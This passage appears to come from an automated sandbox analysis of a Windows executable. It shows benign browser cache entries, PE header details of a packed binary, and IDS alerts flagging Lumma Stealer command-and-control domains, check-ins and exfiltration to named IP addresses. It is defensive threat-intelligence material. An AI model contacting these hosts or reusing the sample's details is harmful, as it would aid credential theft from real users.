Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	195719
Entropy (8bit):	5.430057012529021
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVli2:Wof3G0NSkNzMeO7z/l3lh
MD5:	9445D8D43537540BC89651C93A9C3832
SHA1:	EC3066770D52DB58CB7E44C54C3ABAA40CEB121A
SHA-256:	586D6261C80CBF8CDEC59DE01F1A1D09B32C04E87431E4333A0BF4D8990C2755
SHA-512:	F2BB9BB14C24883499AF2FAD35EE95AF7BF3D9B0431D8072C54C9D5946C751E04D952F5AD5D937F6CBC7C56177FA2091A5A6F33318F2907E9D3628C28E7FFC9C
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.0747157240281755
Encrypted:	false
SSDEEP:	6144:XegPrbKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:1KCerXyUh
MD5:	875E7F3672FEC41DDB5A2386D2331531
SHA1:	282979933E99BDE3A6342DC1EF93FBC51682F2C3
SHA-256:	F205B3CBA340ECB0B5D45E5DE6D385947CC4C21248707A90BFD5894E9B61F3C9
SHA-512:	67A3C1D8FF089E01C20962D96968DE43F3E8D49B474C396F08827EE891C0315693634E663D3148D7441B501EA6939A7D84A80B1E855B7C2A8BCB17E0013AFAD4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.541967489068966
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	pVbAZEFIpI.exe
File size:	2'972'160 bytes
MD5:	6ccc7dbf4f2bee3325ab58592bc9390d
SHA1:	a555ee075cf023706da0994df028f64f1aae9116
SHA256:	2226cec0ef70e508cc98f6956897a733369dc394fc74f1c624a9be96af654bab
SHA512:	8d99728ac8204a5ee0289644c73ce39fc7f9932bb113f94dcdb81e52d0c9ada938cc99e4b38c6637f7dc83450fde30737edc790a1f038cd6a48197aac9d55593
SSDEEP:	49152:ppFH5adZHcOR/Okvy4c4cV2eSGx1OH+XZecj7:pbIdZHcOR/OkbcMZGxwepeK7
TLSH:	C4D52992B959B1CBE48E177495B7CD41A81D06F987204AC3B87CB57B7EA3CC112F6C28
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig............................. 0...........@..........................P0.....^5....@.................................Y@..m..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x702000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FEB84B5F06Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	de7cf6662146e5b90972a6b9c4fde646	False	0.9993872549019608	data	7.975172181974604	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jnzfjdyd	0x55000	0x2ac000	0x2abe00	486873cd3f0409b2d86cc763d00311da	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
specksbu	0x301000	0x1000	0x400	c0a94d6e2c16be33e2c7a4196a111f87	False	0.7958984375	data	6.084229528985079	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x302000	0x3000	0x2200	8a2b23e2e2d54e7bb94a87dbcc5fce47	False	0.0705422794117647	DOS executable (COM)	0.8936377774046491	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-26T13:22:45.202833+0100	2058514	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wordyfindy .lat)	1	192.168.2.8	51720	1.1.1.1	53	UDP
2024-12-26T13:22:45.348137+0100	2058502	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (slipperyloo .lat)	1	192.168.2.8	57286	1.1.1.1	53	UDP
2024-12-26T13:22:45.488823+0100	2058492	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (manyrestro .lat)	1	192.168.2.8	60532	1.1.1.1	53	UDP
2024-12-26T13:22:45.630362+0100	2058500	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (shapestickyr .lat)	1	192.168.2.8	58793	1.1.1.1	53	UDP
2024-12-26T13:22:45.782120+0100	2058510	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (talkynicer .lat)	1	192.168.2.8	59372	1.1.1.1	53	UDP
2024-12-26T13:22:45.980785+0100	2058484	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (curverpluch .lat)	1	192.168.2.8	57777	1.1.1.1	53	UDP
2024-12-26T13:22:46.227611+0100	2058512	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tentabatte .lat)	1	192.168.2.8	62627	1.1.1.1	53	UDP
2024-12-26T13:22:46.371198+0100	2058480	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bashfulacid .lat)	1	192.168.2.8	64391	1.1.1.1	53	UDP
2024-12-26T13:22:48.180270+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49705	104.102.49.254	443	TCP
2024-12-26T13:22:48.984390+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.8	49705	104.102.49.254	443	TCP
2024-12-26T13:22:50.676921+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49706	172.67.157.254	443	TCP
2024-12-26T13:22:51.438874+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49706	172.67.157.254	443	TCP
2024-12-26T13:22:51.438874+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49706	172.67.157.254	443	TCP
2024-12-26T13:22:52.798589+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49707	172.67.157.254	443	TCP
2024-12-26T13:22:53.592615+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49707	172.67.157.254	443	TCP
2024-12-26T13:22:53.592615+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49707	172.67.157.254	443	TCP
2024-12-26T13:22:55.314822+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49708	172.67.157.254	443	TCP
2024-12-26T13:22:58.122184+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49709	172.67.157.254	443	TCP
2024-12-26T13:22:59.086602+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.8	49709	172.67.157.254	443	TCP
2024-12-26T13:23:00.586503+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49711	172.67.157.254	443	TCP
2024-12-26T13:23:03.990472+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49713	172.67.157.254	443	TCP
2024-12-26T13:23:06.481037+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49714	172.67.157.254	443	TCP
2024-12-26T13:23:11.625343+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49715	172.67.157.254	443	TCP
2024-12-26T13:23:12.419739+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49715	172.67.157.254	443	TCP
2024-12-26T13:23:13.981521+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.8	49716	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 26, 2024 13:22:36.420327902 CET	49676	443	192.168.2.8	52.182.143.211
Dec 26, 2024 13:22:37.685940027 CET	49671	443	192.168.2.8	204.79.197.203
Dec 26, 2024 13:22:38.014066935 CET	49677	80	192.168.2.8	192.229.211.108
Dec 26, 2024 13:22:38.107805967 CET	49673	443	192.168.2.8	23.206.229.226
Dec 26, 2024 13:22:38.482798100 CET	49672	443	192.168.2.8	23.206.229.226
Dec 26, 2024 13:22:46.029628992 CET	49676	443	192.168.2.8	52.182.143.211
Dec 26, 2024 13:22:46.662617922 CET	49705	443	192.168.2.8	104.102.49.254
Dec 26, 2024 13:22:46.662669897 CET	443	49705	104.102.49.254	192.168.2.8
Dec 26, 2024 13:22:46.662738085 CET	49705	443	192.168.2.8	104.102.49.254
